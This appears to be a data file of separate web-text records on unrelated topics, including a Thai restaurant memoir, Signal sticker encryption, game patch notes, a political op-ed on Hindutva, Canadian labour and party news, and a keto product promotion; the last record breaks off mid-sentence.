Ginder noted, "Never before did we have all of this data available to us nor did we have the computing power to handle it all. The killer app may be one that we haven't really anticipated yet." Read the rest of the series This is the first piece in my four-part series on Ford Motor Company and its transformation into an important player in the technology world. Part 1: Ford's Big Data chief sees massive possibilities, but the tools need work (ZDNet) Part 2: How Ford reimagined IT from the inside-out to power its turnaround (TechRepublic) Part 3: Ford's 'open platform' car: How open is 'open'? (ZDNet) Part 4: Ford is now a 'personal mobility' company: How the comeback kids are riding tech to a new destiny (CNET)	{ "pile_set_name": "OpenWebText2" }
I’m not sure I remember the first time I ever set foot in Siam Sunset. Did I even set foot? Or was I carried in—a tiny version of myself—back in the early ‘90s, when my family and I immigrated to America? The hole-in-the-wall Thai restaurant, located in a run-down motel on a small patch of East Hollywood, is unassuming, but fills a cultural role for LA’s expatriate Thai community that belies its humble look. My mom has always told me that Siam Sunset was one of the first places she went to consistently—to retain the memory of the life she left behind in Thailand. And it’s no wonder my mom found Siam Sunset to be a comfort; the small restaurant exudes Thainess in every corner. There’s a whiteboard menu scribbled with Thai specials; everyone’s watching the TV, tuned to the latest Thai drama; Thai newspapers and magazines lay scattered, available for all the aunties and uncles that make their way over for their morning coffee, breakfast, and gossip; and the walls are adorned with portraits of the late, revered Thai king, His Majesty Bhumibol Adulyadej. It’s hard to describe, but the place even smells like Bangkok to me—a melody of grilled pork, fresh jasmine rice, and steamy, bubbling soups with a splash of vinegar. Jonathan Gold called it the "Thaiest Thai in Thai Town" years ago, and I don't think he was wrong. We moved here when I was only a baby, strapped to my mother’s chest while she gripped my eldest brother’s arm in one hand and pushed my other brother’s baby stroller with the other. She arrived frazzled—as one might be, flying across the world alone, with three small children, to an unknown place—and sought out comfort in a bowl of jok, a Thai rice porridge that’s equally thick as it is comforting. Jok is a cure for almost anything. Heartbroken? Seek reprieve in a bowl of jok. Feeling under the weather? A hearty dose of jok will warm you right back up. At least that’s what I was conditioned to believe as we adapted to our new lives in Southern California. Whenever I felt down, my mom assured me that happiness was just a steaming bowl of jok away. And lucky for us, Siam Sunset makes what I would argue is some of the best jok in the world, and was a mere twenty-five minute drive from our house. As a kid, we would make our way to Siam Sunset every weekend before attending Thai school at the local Thai temple in North Hollywood. Jok was always on the menu, and we’d pair it with fried Chinese-style donuts, pa-jong-ko as we call them in Thai, dunked in gleaming pools of condensed milk. Some days we’d switch it up, ordering a plate of shrimp paste fried rice (khao kruk kapit) or Thai-style barbecue pork with rice (khao moo dang), but jok always remained a staple. There’s just something about the fresh sliced ginger, or the floating chunks of pepper-y ground pork balls, that translates into a warm hug—comforting, gentle, and substantial. Coming to America was not easy for my family, especially my mom, who didn’t speak a word of English and was already overwhelmed taking care of three kids on her own. I can distinctly remember the first time I witnessed a racist act against her—”Go back to China!” a man had snarled at her while she was pumping gas. My brothers and I all peered out the window of our minivan at him, the three of us exchanging confused glances. “But we’re from Thailand,” I’d whispered at them, not yet recognizing the weight of his words and how common his attitude was. This is why spaces like Siam Sunset hold so much significance to me, my mom, and to other immigrants within our community. Regardless of what we looked like, the dialect we spoke, or the things we chose to eat, we were always accepted and welcomed like family. Being at Siam Sunset made my mom feel closer to all that she had left behind, while simultaneously making her feel further from the isolation and violence directed at her by an often cold and unwelcoming America. The sense of belonging that Siam Sunset provided tasted even better than anything their menu could offer. Even if the escape was brief, it was meaningful—giving her the strength to continue raising us, exposing us to our Thai heritage, and shielding us from the unkind and ignorant comments that, unfortunately, became routine.	{ "pile_set_name": "OpenWebText2" }
They get slapped on street signs. We wear them on our clothes to identify ourselves to distant coworkers during awkward holiday parties. Some people create massive galleries on their laptops in overlapping levels stacked so deep that the hinges begin to lose their structural integrity and LCD screens struggle to remain upright. The digital versions are even more popular, and we get asked about them a lot. Stickers are everywhere, and now they’re in Signal too. They’re a fun way to add a new layer of expression to your conversations – and just like every other Signal feature, they are also encrypted, private, and secure. Today’s beta releases of Signal include the first two official sticker packs: Zozo the French Bulldog by Arrow Bowie, and Bandit the Cat by Agnes Lee: You can send a sticker with a single tap, easily install new sticker packs when you receive a sticker from a friend, and quickly see all of your most frequently used stickers in one place. Create your own cohesive adhesives The latest beta release of Signal Desktop also includes support for uploading custom sticker packs. Artists are free to use any editing tool that can output standard PNG files to create new stickers. Stickers are automatically converted to the WebP format for maximum transmission and storage efficiency. Up to 200 stickers can be included in every pack, and each sticker is associated with an emoji during the creation process for quick discovery when that character is entered on the keyboard: Security and privacy don’t peel away easily Sticker packs in Signal are fully encrypted. Every sticker pack consists of a random ID and a symmetric “pack key” that encrypts the pack name, author name, and sticker media. This pack key is never stored on the Signal service. Instead, users automatically exchange pack keys with each other when they send stickers through the encrypted Signal Protocol messaging channel. Stickers are transmitted as standard encrypted attachments (with padding), and sticker packs are never associated with the creator’s Signal account. The result is that sticker contents and other information are opaque to the Signal service by default. When users want to share a sticker pack more broadly, a custom URL format is also supported. For example, the Zozo sticker pack URL includes the correct pack_id and pack_key values that let anyone view, decrypt, and install this pack. Become a sticker transmitter You can start using stickers right away. We began rolling out support for receiving stickers several months ago, so beta users don’t have to wait for their less adventurous friends to catch up before they get started. Use the hashtag #makeprivacystick to help other people find the URLs for any custom sticker packs that you would like to make publicly accessible. We’ll be recognizing some of our favorite packs from the community over the next few weeks and announcing some additional default stickers too. We’re excited to hear what you think.	{ "pile_set_name": "OpenWebText2" }
OneeChanbara Z ~ Kagura ~ Gets a new Batch of Screenshots Giuseppe Nelva January 16, 2012 10:12 AM EST Today a new batch of screenshots of OneeChanbara Z ~ Kagura ~ emerged. If you know the series, you also know what to expect: sexy ladies, bikinis, zombies and a lot of blood. The game will be released in Japan by D3Publisher on January the 19th for Xbox 360. You can check out the screenshots past the cut:	{ "pile_set_name": "OpenWebText2" }
I have used the term 'Abrahamic Hindutva' to argue that this civilisational order is under threat from the current generation of the people who long ago evolved these pluralistic concepts, authoured the Vedas and Smritis, and discovered Yoga and Ayurveda. Other than India, there is absolutely no country in the world that can claim copyright on the concepts of pluralism, coexistence and toleration. These, originally Indian ideas, informed the civilisational order that prevailed through the course of the known Indian history. However, in a recent article I have used the term "Abrahamic Hindutva" to argue that this civilisational order is under threat from the current generation of the people who long ago evolved these pluralistic concepts, authoured the Vedas and Smritis, and discovered Yoga and Ayurveda. The argument is not what the Vedas taught when they were created, but what set of ideas prevail currently in the minds of the people who describe themselves wrongly as Hindus. To understand this phenomenon, I described Abrahamic Hindutva as "Hinduism influenced by Islam" and as a concept underpinned by "Hindu theology." I also noted that Abrahamic Hindutva denotes "a growing inability of Hindu youths to comprehend their Hindu identity as sufficient in itself – without a reference to Islam and Christianity." Some writers have used the word "semitisation" to denote the impact of Islam and Christianity on the way of life of India. Ram Madhav, the Bharatiya Janata Party leader, has called it "semitisation of Indian cultural behaviour." In the case of Islam, it was seen that politics to capture power transformed into theology, dividing Muslims into Shias and Sunnis. In the case of Hinduism, culture is transforming into Hindu theology. Some people frown at the mention of "Hindu theology", but the ideas currently prevailing in the minds of the cow vigilantes are of theological nature – even if not deriving from Hindu scriptures – and are identical to Islam's blasphemy law. Muslims believe they must kill you if you insult Prophet Muhammad. Hindus similarly believe that they should kill you if you harm the cow. The theological views associated with Prophet Muhammad and the cow are identical and murderous. In Pakistan, you can be legally punished with death for blasphemy. In India, Hindu youths out to defend Hinduism are willing to kill you for transporting cows. Much like jihadis' argument that each Muslim must take up arms because there is no Caliphate to authorise jihad, Hindu youths too think that India is no Hindu rashtra and therefore a Hindu should take law in their own hands. But the accepted principle worldwide is this: nobody can take law in their own hands without the authority from the sovereign, which being the king or the Indian State in modern times. Abraham was the common prophet for the Jews, Christians and Muslims. He is known for birthing religions in the Middle East which gave the concept of monotheism. In a recent article in The Spectator of London discussing the co-existence of incompatible religions Shinto and Buddhism in Japan, Gary Dexter spoke of "Abrahamic monotheism" in counter-pluralistic terms: "There would seem to be little hope that we can reshape Abrahamic monotheism to acknowledge that contradictory faiths are equally true and, crucially, equally worth practising." In this sense, Abrahamic Hindutva is contradictory to pluralism and co-existence, and denotes the impact of the monotheistic religions, especially Christianity and Islam, on Hindus. Since Islam has ruled parts of India for up to 1,400 years, it has impacted our ways of living. For example, the concept of divorce among Hindus came originally from Islam and even now India's predominantly Hindu ethos disapprove of divorce. Muslim women going to the Supreme Court against the practice of Triple Talaq are primarily aggrieved by the idea of divorce itself, which is unacceptable in the predominantly Hindu society in which they live. The Islamic rule in India goes back to the early Islam. Muhammad bin Qasim is described as the first Islamic general to register victories in India during 712-715 CE. However, this is historically inaccurate. In his book, Pakistan Mein Tehzeeb Ka Irtiqa, Sibte Hassan notes that Islamic attacks against Sindh and Balochistan had begun during the era of Umar ibn Khattab, the second caliph of Islam who governed from 634 to 644 CE. Usman ibn Affan, the third caliph who ruled from 644 to 656 CE, considered an attack on Sindh by land. At that time Makran, now a part of Balochistan, was already ruled by a Muslim governor. Elsewhere, I have discussed several versions of Hindutva. One, Hindutva is a universal way of life. Everything that constituted the corpus of syncretic practices and beliefs held by the people living in the territory of India over centuries, particularly before the birth of Christianity and Islam, can be described as a way of life. In this sense, Hindutva is a territorial concept, but with a strong message of universalism. The Rashtriya Swayamsevak Sangh views Hindutva in this conception but problems arise when radical groups associated with it take the law in their hands to cleanse our way of life of influences some of which, such as free speech, are now incorrectly deemed to be external to Indian civilisational order. Two, this type of Hindutva, being a way of life, has been dynamic and diverse. Hindus worship rivers, trees, snakes, women and the sun. There are temples dedicated to the Saturn and living cricketers and actors like Sachin Tendulkar and Amitabh Bachchan. Heterogeneity and diversity were at the core of Hindutva originally. Three, the Supreme Court noted in a 1995 judgement: "Ordinarily, Hindutva is understood as a way of life or a state of mind and it is not to be equated with, or understood as religious Hindu fundamentalism"; "[It is] a fallacy… that the use of words 'Hindutva' or 'Hinduism' per se depict an attitude hostile to all persons practising any religion other than the Hindu religion." However, the apex court's definition of Hindutva is deficient because it fails to explain the theological reasons that give birth to cow vigilantes. The concept of Abrahamic Hindutva is, therefore, a relevant tool to examine some ideas held by Hindu youths and not held by their ancestors who lived in pre-Christianity and pre-Islamic India. In this sense, Abrahamic Hindutva is a religious fundamentalism and a type of jihadism typical to Islam. In recent years, it has been seen that groups of Hindu youths have entered parks and shopping malls to prevent youths from celebrating the Valentine's Day. Members of the radical Hindu group Bajrang Dal organised protests in Hyderabad against the Valentine's Day this year and dubbed it as "western onslaught" on Indian values. This protest by Hindu groups is typical to the Islamism prevailing in Pakistan where on 13 February this year the Islamabad High Court ordered a ban on events marking the Valentine's Day. What is Islamism in Pakistan can be called the soft version of Abrahamic Hindutva in India. Islamism is the peaceful version of jihadism, which is armed. When Hindu groups start practically implementing this type of agenda, it can be described as armed Abrahamic Hindutva. For example, members of the Hindu radical group Sri Rama Sena entered the Amnesia Bar and Restaurant in Mangalore in January 2009 and attacked women for drinking and immoral acts. Such purist thinking shouldn't be imaginable in India where there are temples where people offer wine to gods. Prominent organisations that promote religious radicalism among Hindus include the Shiv Sena, Hindu Mahasabha, Bajrang Dal, the Vishwa Hindu Parishad, and the like. However, this is not pure "religious" fundamentalism because in the case of Hinduism, culture and religion cannot be separated – much like religion and politics cannot be separated in the case of Islam. Islamism is the methodology by which Islam propagates itself through institutions like madrassas, mosques, Sufi shrines and Islamic clerics. Islamism is the peaceful means, while jihadism is the weaponised version of Islamism. If Islamism is the first-stage cancer, jihadism is its logical next-step. In the case of Hindu youths, it is seen that they view certain dresses like jeans and certain naked paintings as unacceptable. Groups like the Akhil Bharatiya Vidyarthi Parishad, the student wing of BJP, have led campaigns for a ban on jeans for women in a Kanpur college. In 2014, the Hindu Mahasabha attracted headlines for demanding that women should not use cellphones and not wear jeans. Hindu Mahasabha also said: "Our culture is getting affected due to live-in relationship and hence a law prohibiting live-in-relationships should be enacted." If such thinking of the Hindu groups can be compared with Islamism, the second-stage cancer will be Hindu jihadism – or armed Abrahamic Hindutva. Consequently, these groups will demand the demolition of Khajuraho temples, much like the Taliban demolished the Buddhas of Bamiyan in Afghanistan. At times, it appears that the followers of Abrahamic Hindutva are identical to the Taliban of Afghanistan. For such groups, Hindutva represents an armed doctrine, not merely a universal way of life. In fact, a series of terror attacks have taken place in India which do not appear to have been carried out by Muslims. For example, in April 2017, a National Investigating Agency (NIA) court in Jaipur sentenced two Hindu youths – Devendra Gupta and Bhavesh Bhai Patel – to life in prison for the 2007 terror attack at the Sufi shrine in the town of Ajmer. Previously, I have discussed that terms like Hindu terrorism and Islamic terror are valid concepts, with the difference being only in the scale of their operations. While Islamic terrorists are inspired by the idea of a global Caliphate, Hindu terrorists, notably those associated with Abhinav Bharat, are motivated by the concept of Hindu rashtra. Much like jihadis in Pakistan, the followers of Abrahamic Hindutva believe in taking up law in their own hands. In fact, Shiv Sena, a coalition partner of the Modi government, advocates creation of Hindu bombers, much like jihadi suicide bombers in Islam. In a Saamna editorial on 18 June, 2008, Shiv Sena leader Balasaheb Thackeray called for creating Hindu suicide bombers, stating: "A Hindu fidayeen band is necessary to combat Muslim fundamentalism." The editorial was written following a terror attack on a theatre in Mumbai in which a Hindu group was involved. The editorial's thrust was that Hindus should carry big attacks, not small attacks which yield no benefits. This was not a one-off call by Shiva Sena. On August 15, 2015, the Shiv Sena reiterated the call for Hindu suicide bombers to invade Pakistan in an editorial in Saamna: "Hindus should be able to live in this country with pride and his (a Hindu's) voice should roar like that of a lion. If an answer has to be given to Pakistan extremists, Hindus will also have to become highly religious. To answer Pakistan, Hindus need to become human bombs and invade their country." The editorial observed: "People have lot of love and respect for Balasaheb Thackeray and feel proud of his nationalist ideals. He surely instilled the fear of Hindus among people." Some characteristics of Abrahamic Hindutva can be noticed in the beliefs, demands and outbursts of its followers as reported in the media. Much like monotheistic religions, its followers believe in concepts identical to Islamism and jihadism. Pursuing the homogenising ideals of the monotheistic religions such as Christianity and Islam, the followers of Abrahamic Hindutva view India's identity as homogenous. A good example of this homogenising trait of Abrahamic Hindutva shows up in the demand for imposition of Hindi language on all other states and peoples of India. Such Hindu youths are incapable of grasping that the Indian way of life has always been ethnically, linguistically and religiously diverse. A day after Modi became the prime minister, the government issued a directive that Hindi be used compulsorily on social media accounts. Abrahamic Hindus cannot grasp that every language and every dialect can be the national language of India. Homogenisation – intrinsic to Christianity and Islam, and alien to Indian civilisation – forms the core of Abrahamic Hindutva. For example, both Islamists and Abrahamic Hindus believe in conversions, though Hinduism was not known for converting people's beliefs and practices. In his televised speech on Vijayadashami in 2013, RSS chief Mohan Bhagwat said: "(Our people) travelled across the world from Mexico to Siberia in olden eras. Without attempting to conquer any empire or without destroying way of life of any society, prayer systems or national and cultural identity, they shared with them the Bharatiya ethos of love, affection and universal welfare." Insofar as Bhagwat was speaking of our past, he is right. But in the present times, many Hindu groups do believe in and engage in conversions. While some can claim re-conversion to be right, the argument remains that conversion is a concept external to Indian civilisational order. The idea of purity defines Abrahamic Hindutva. In the case of Islam, liberal Muslims are deemed as insufficient Muslims by Islamic clerics and are dismissed as munafiqeen, or hypocrites. In the case of Hinduism, liberal Hindus are deemed as insufficient Hindus by the Abrahamic Hindus. If you are a Muslim, followers of Abrahamic Hindutva describe you on social media as impure, as having Arab genes — even though DNA tests carried out by scientists establish that the first known humans originated in Africa, not India. Abrahamic Hindutva is against the values and concepts that were intrinsic to the people of India in pre-Christianity and pre-Islamic times. It is almost certain that in the Abrahamic Hindus' conception of how India should look like, Muslims do not exist. In 2014, Rajeshwar Singh, a leader of the Dharm Jagran Samiti, called for freeing India of Muslims and Christians by 2021. At present, many scholars masquerading as Vedic scholars are basically nursed in the school of Abrahamic Hindutva. It remains to be seen how groups like the Dharm Jagran Samiti will cleanse India of Muslims by following the concepts and beliefs which are borrowed from Christianity and Islam. The "Hindu" identity is very recent. Some activists mention the word expression "Hindavi empire" used by Shivaji, who ruled during the last quarter of the 17th century. But "Hindavi" was used first by Amir Khusro in the 13th century to denote a corpus of syncretic linguistic movements which are also known as Hindustani. In an article, eminent lawyer and politician Ram Jethmalani has argued that "The word Hinduism did not exist before 1830" and "There is no mention of the terms 'Hindu' or 'Sanatana Dharma' in the Vedas, Puranas or any other religious text prior to 1830 AD. Nor are they found in any inscription or in any record of foreign travellers to India before English rule. The term 'Hindusthan' was first used in the 12th century by Muhammad Ghori, who dubbed his new subjects 'Hindus'." Jethmalani also added: "Then came the first census of India by the British in 1871 that defined 'Hindu' as an omnibus term to encompass several religions that were not Muslim, Christian, Buddhist, or Jain. Later, the term Sanatana Dharma was invented to deliberately swallow the English invention of Hinduism." The key argument of this essay is that the followers of Abrahamic Hindutva are driven by concepts and beliefs which were alien to the people of India in the Vedic times. For example, freedom of thought and expression, once an integral part of India's civilisational order, now appears alien to them. Abrahamic Hindutva groups routinely demand ban on plays, books, movies and television serials. In July this year, Hindu Makkal Katchi demanded a ban on the Tamil version of the reality TV show Big Boss and arrest of the host Kamal Haasan and contestants for uttering obscene words. Recently, RSS worker Dinanath Batra has demanded that books be cleansed of anti-Hindu contents. In May 2015, Hindu Janajagruti Samiti (HJS) demanded the deportation of former porn star-turned actor Sunny Leone for displaying "vulgarity". HJS has also demanded ban on Marathi plays and television serials such as MTV Splitsvilla for showing girls as wearing short skirts, strap dress and bikinis. However, free speech has been very much part of the Indian way of life. The Natya Shastra, the ancient text on dramatic art written between 1st century BCE and 3rd century CE, allows for free speech even in cases when religious sentiments are hurt. Speaking on the tradition of free speech in India, eminent author Salman Rushdie noted that the Indian tradition has "very powerful defences of free expression" and in the Natya Shastra, an offensive play was performed before the gods and actors were attacked "whereupon Indra and Brahma come to the actors' defence and gods are positioned at all four corners of the stage. And it is Indra who says from now on that stage will be a stage where everything can be said and nothing can be stopped." Rushdie added: "This is one of the most ancient of the Indian texts. Natya Shastra… contains as explicit, extreme defence of freedom of expression as you will find anywhere in the world. This is not alien to India." Abrahamic Hindutva groups justify their actions based on the argument that Christians and Muslims will not accept free speech and therefore Hindus too must not. They think their actions will restore the Indian version of India's history. "The idea of history as a space where the salvation of individuals as members of a 'nation,' a 'race,' or a 'faith' manifests," noted a writer recently, "is alien to Indian thought. It has its roots in Christianity." Since Hindu groups like the Shiv Sena, Hindu Mahasabha, Bajrang Dal, the Vishwa Hindu Parishad and others associated with the RSS are under the influence of concepts rooted in the monotheist religions of Christianity and Islam, their actions and beliefs form the core of Abrahamic Hindutva. In some ways, they might be creating a new religion which can be called a Hindu version of Islamism. This is a threat to India's civilisation order which once thrived under liberty. The challenge for writers and yogis is to evolve a term other than "Hindu" to describe India's people and their practices and beliefs that are compatible with the indigenous ways of living. Until that happens, Abrahamic Hindutva is a living threat to India's civilisational order as known to our ancestors in the Vedic times. The author, a former BBC journalist, is a contributing editor at Firstpost and executive director of the Open Source Institute, New Delhi. He tweets @tufailelif	{ "pile_set_name": "OpenWebText2" }
Hello everyone, it has been confirmed by Erissa (WG EU rep) that test 2 of patch 9.3 should start today around 18:00 CEST. The list of changes (courtesy of Tanitha, ASIA server): Changes in version 0.9.3 CT-2 vs. version 0.9.3 CT-1: - Warnings and penalties for intentional self-destruction turned off. Some cases, in which the penalty should not be applied, must be reviewed. - Bonus experience for damage blocked by armor temporarily turned off until all the issues are fixed. - New functionality of the Strongholds mode, except Chancellery and legionaries, turned off. - Many issues with the interface and gameplay in the Strongholds mode fixed. - Separation of the engine and transmission, which was missing during the first test, added for the following vehicles: Е75, Panther II, Löwe, Jagdtiger. - Issues with visual models fixed for the following vehicles: M18 Hellcat, T-34-85М, KV-1S, ISU-152, Spähpanzer Ru 251, T49, LTTB, Т-34, M41 Walker Bulldog, M24 Chaffee, IS-7, Jagdpanther. - Camouflage scale fixed for the following new vehicles: M41 Walker Bulldog, T49. - Top speed for the Т-54 lightweight increased by 10 km/h. - View range for turrets of the T67 tank destroyer adjusted. - Weight limit for the suspension of the KV-85 increased. - Issues with the player’s vehicle falling through the model of abbey on the Abbey and Province maps fixed. - Issues with landscape on the Ruinberg map fixed. - Issue with the armored personnel carrier disappearing on various distances on the Kharkov map fixed. - Incorrect display of the effects of shells hitting the ground fixed. - Incorrect display of allied vehicles’ icons on long distances fixed. - Some crashes and hang-ups of the game client fixed. - List of explosive objects expanded. - Performance of effects of explosive objects optimized. - Stuttering when displaying some effects fixed. - Incorrect calculation of record value for the “maximum destroyed per battle” parameter fixed. - Receiving of the Spotter award upon defeat fixed. - Free Experience conversion functionality fixed. - Display of effects of ammo rack exploding when a vehicle is destroyed by ramming fixed. - In battle results, statistics for penetrations after ricochets added. - Display of the fifth skill for crew members in the Garage fixed. - Discrepancy between the visual and collision models for some objects fixed. - Flickering of client reticle when the vehicle is on an inclined surface fixed. - Some minor issues with interface fixed.	{ "pile_set_name": "OpenWebText2" }
Apple is rolling out the fourth tvOS 11 developer beta for testing on the fourth-gen Apple TV. tvOS 11 brings Home screen sync, automatic dark and light mode, full AirPods support, AirPlay 2 and more. tvOS 11 beta 4 is currently only available to registered developers for testing, although a free public beta that usually follows a few days after is also active. For more on tvOS 11, check out these stories: We’ll update with any changes found in the latest tvOS 11 beta as well. FTC: We use income earning auto affiliate links. More. Check out 9to5Mac on YouTube for more Apple news:	{ "pile_set_name": "OpenWebText2" }
It would be great if you could add Banano to Blockfolio. It has BAN/BTC and BAN/XRB(NANO) pairs on Mercatox: In case of questions please reply here or come to our discord at https://chat.banano.co.in Other projects links and overview at https://banano.how Thanks in advance!	{ "pile_set_name": "OpenWebText2" }
The first half of 20th Century was a time of incredible suffering and change for China, the Wuchang Uprising of 1911 and ensuing Xinhai Revolution had removed the last Qing emperor and installed a fragile democracy. By 1927 this had crumbled as Chiang Kai-Shek’s Kuomintang nationalists and Mao Zedong’s Communists fought for control of the new nation, punctuated only by the near-genocidal Japanese invasion of 1937 to 1945. A resident of Peking (now Beijing) and then later the owner of a studio in Hong Kong, Russian-born photographer Serge Vargassoff documented this incredible period through a series of hand-coloured lantern slides, taken from black-and-white silver gelatin photographs. Shot between 1910 and 1920, Vargassoff depicts an incredible vision of China, still rooted in the crumbling majesty of the Qing dynasty, but on the cusp of aggressive – to the point of murderous – modernity. These are 10 of our favourites from the Powerhouse Museum Collection, which was donated by Vera Vargassoff, niece of Serge Vargassoff. 1. Wulong Ting (Five-Dragon-Pavilion) in Beihai Park 2. Dafeng Zushi Temple 3. Umbrella repair man 4. Horse drawn carriage 5. Painted clay sculptures of Ming dynasty in Dahui Si (Temple of the Great Wisdom) 6. A man in his shoe repair stall 7. Part of the Great Wall 8. A noodle stall on the footpath 9. A woman wearing a headdress 10. Pavilion For amazing scenes from 20th Century history, pick up the new issue of All About History or subscribe and save 25%.	{ "pile_set_name": "OpenWebText2" }
On Wednesday, August 28, 2019, the National Energy Board (NEB) became the Canada Energy Regulator (CER). For further information please visit our Implementing the Canadian Energy Regulator Act information page	{ "pile_set_name": "OpenWebText2" }
Lyman Stone: One reason for this rising tide of support [for raising the minimum wage] is a growing body of academic research suggesting that the costs of a minimum wage increase are less severe than critics allege. . . . The problem, though, is that none of these studies apply to minimum wage hikes as sweeping as those envisioned by the “Fight for $15” campaign. Boosting, say, Alabama’s minimum wage from its current rate of $7.25 per hour to the $15 per hour that wage hike advocates want is certain to create much bigger dislocations than moving Nebraska’s minimum wage from $8 to $9 an hour, as happened in 2016. . . . What the evidence is really saying is that modest minimum wage increases do no harm, and probably help some struggling workers. But big wage hikes, on net, start to hurt more than they help.	{ "pile_set_name": "OpenWebText2" }
The federal government has served notice that it will have back-to-work legislation on Air Canada's contract disputes ready as early as next week. On Friday afternoon, the government served notice on parliament's order paper that it will have a bill prepared on the continuation of air services. In an interview set to air on CBC Radio's The House program on Saturday morning, Labour Minister Lisa Raitt told host Evan Solomon that there is a mandatory 48-hour notice period for any new legislation. So if the government wants to act early next week when a lockout deadline between the airline and its 3,000 pilots was originally set to expire, Ottawa must move swiftly to introduce the bill. The airline's 8,600 ground staff, which includes mechanics, baggage handlers and cargo agents, had also threatened to go on strike beginning at 12:01 a.m. on Monday, March 12. "We wanted to make sure at least we had something," Raitt said in the interview. Opposition politicians quickly weighed in on the government's move. "If the government feels Air Canada is an essential service, they have to provide a fair arbitration process," interim Liberal Leader Bob Rae tweeted. By putting the bill on the order paper Friday, MPs could see it tabled in the House of Commons as early as Tuesday. It would then be up to the government to decide when to bring it up for debate. Dave Ritchie, the Canadian general vice-president of the International Machinists and Aerospace Workers, which represents the Air Canada ground crews, said he was not surprised by the move. "And once again the heavy-handed government is upon us," Ritchie told CBC News. After Air Canada made a surprise move on Thursday to lock out its pilots as of early Monday morning, Raitt referred the file to the Canada Industrial Relations Board to investigate. In effect, that withdrew the threat of a disruption during the key March break travel season because no work stoppage is legally possible as long as the board is investigating. "Even though we've referred it to the CIRB they could come back at any moment with a decision," Raitt told Solomon in the interview. So the government moved ahead with the new tactic on Friday to make sure they had other options to ensure the Canadian economy can't be unduly harmed by a grounding of Canada's major carrier. "Quite frankly, we don't know whether the CIRB will make their decision on Monday," Raitt said. Raitt reiterated the government's position that while they support the collective bargaining process, they aren't willing to put the Canadian economy at risk because of a shutdown of Canada's largest airline. "We know a work stoppage there is going to cause difficulty for the Canadian economy," Raitt said. "It's also going to cause difficulty for Canadian families on March break." "You're going to have a million passengers flying Air Canada in the next 10 days," Raitt said. Earlier on Friday, Prime Minister Stephen Harper told reporters at an event in Toronto that the government was not willing to let Air Canada's service grind to a halt. "I'll be darned if we will now sit by and let the airline shut itself down," Harper told reporters on Friday. Ottawa made the same CIRB move late last year when Air Canada's flight attendants were on the verge of striking. When asked Friday how Ottawa sees fit to take such an active role in the business dealings of a private corporation, Harper noted that Air Canada's status as Canada's dominant carrier makes its situation unlike other companies. During the recession, he noted, the company specifically asked the federal government for assistance in a number of areas because of the danger to the economy that a shutdown would have presented. "As much as there's a side of me that doesn't like to do this, I think these actions are essential to keep the airline flying," Harper said. "My concern is not management or labour, my concern is the broader Canadian public and I think the public overwhelmingly expects the government to act."	{ "pile_set_name": "OpenWebText2" }
For the next week, you can get 10% off the 21 meal “week” size of Snickerdoodle 2.1 with its buttery cinnamony goodness. Miriam especially likes using Snickerdoodle to make Keto Chow Waffles. Check out the flavor reviews of 2.1 Snickerdoodle! Speaking of reviews, you should check out our store reviews on Google, and the reviews of Keto Chow. Here’s a “taste”: After doing a bit of research, I pulled trig and bought a months worth of Keto Chow. The deal was unbelievable, and with the included free shaker bottle and secret product as well as coupon code, I felt like I was stealing. I’ve been doing Keto on and off for years but never seem to be able to get my ketone urine levels above trace, but within a week I have the levels sky high. Feel great, good mental clarity, and down 10 pounds in 2 weeks, in addition to the water weight loss. This is such a great product, it’s delicious, I eat it 3 meals a day unless out with friends and family. I am also lactose intolerant but have had no trouble with the heavy cream, which I find the tastier option. I was worried about hunger, but after the 2nd day I found doing the 600 calories shake for each meal leaves me totally satisfied all day. I would wholeheartedly recommend this product to anyone who struggles with weight, energy, food prep, or carbohydrate addiction. I spent most of my life struggling with “willpower” around food, and finally feel like I have the energy to focus on other things. Here’s another review, it should be noted that I publish all of the reviews that come in – bad or good – as they are, typos intact. The only ones I remove are spam posts from people wanting you to buy pills to “enhance performance” and such. This review actually comes from the Keto chow Facebook page:	{ "pile_set_name": "OpenWebText2" }
OTTAWA -- Justin Trudeau is pushing a proposed new constitution for the Liberal Party of Canada aimed at transforming the federal party from an exclusive club into a wide-open political movement. The proposal, adopted Saturday by the party's national board during a three-hour meeting with the prime minister in Halifax, would do away entirely with the long-held principle that only dues-paying, card-carrying members are entitled to take part in party activities. Indeed, there would no longer be any party members. Instead, anyone willing to register with the party -- for free -- would be eligible to participate in policy development, nomination of candidates, party conventions and the selection of future leaders. The proposal builds on a change adopted by Liberals four years ago, when they agreed to let anyone willing to sign up for free as a party supporter vote in leadership contests. Trudeau was the first leader elected under the new process, which saw some 300,000 people sign up as supporters. "We've tried the supporter system and it was a huge success," party president Anna Gainey said in an interview. "I believe that as we continue to open up and modernize and have more of a movement than a traditional political party, that this is a natural progression of that." Liberals will be asked to approve the proposed new constitution at the party's national convention in May. While the Liberals look to further open up their party to all comers, the Conservatives are going in the opposite direction. For the current Tory leadership contest, only those who've been party members for six months will be eligible to vote, and the membership fee has been hiked to $25. Each member must pay by cheque or credit card in a bid to prevent leadership campaigns from paying for mass sign-ups of new members. "That is a sharp contrast," Gainey said. Without going into details of the proposed changes, Trudeau championed the need for a constitutional overhaul during a speech Saturday to the Nova Scotia wing of the Liberal party. "We need to be courageous and we need to show, once again, that the Liberal party is not afraid to challenge the status quo, even if it means breaking with our own traditions," he said. "Canadians are counting on us to keep building, modernizing and opening up our movement. We can't let them down." The proposed new constitution would be shorter than the current 81-page document and give more flexibility to the national board, which includes elected riding presidents from across the country, to adapt and modernize party procedures in a timely way. That includes its cumbersome policy development process. Currently, the constitution stipulates that policy resolutions are to be put forward by riding associations for consideration at annual general meetings of the various provincial and territorial wings of the party. Priority resolutions chosen at those meetings are then debated and voted on at the national party's biennial conventions. The process is "inflexible, it is not evergreen, it does not respond to the pace of life in the digital age," said Gainey. The new constitution would allow flexibility to use technology to engage all registered Liberals in policy development between national conventions, reflecting "the electoral cycle that we're in and the environment we're in and the issues that matter at the time," she added. The proposal would also scrap the 18 different constitutions that are currently in play, with the party's provincial and territorial associations and various commissions (youth, women, seniors, indigenous Liberals) each having their own guiding document. Those associations and commissions would continue to exist but there would be only one national constitution for the entire party. The various wings of the party have always jealously guarded their turf and Trudeau sought to reassure them Saturday that the proposed changes "will actually strengthen and make more resilient the close relationship between the federal party and regional partners. Trudeau has led the push for constitutional change, striking a working group earlier this year charged with "starting from scratch to redesign this party from the ground up," as he put it in an email missive sent to all party members and supporters. He asked Liberals to complete a survey, which the party says some 2,100 people did, and which showed overwhelming support for the kinds of changes now being proposed. When Liberals agreed four years ago to let supporters vote in leadership contests, they balked at similarly opening up the process for nominating candidates to run for the party in elections. Many worried that a wide-open nomination process at the riding level would be too easy to manipulate by political opponents. But 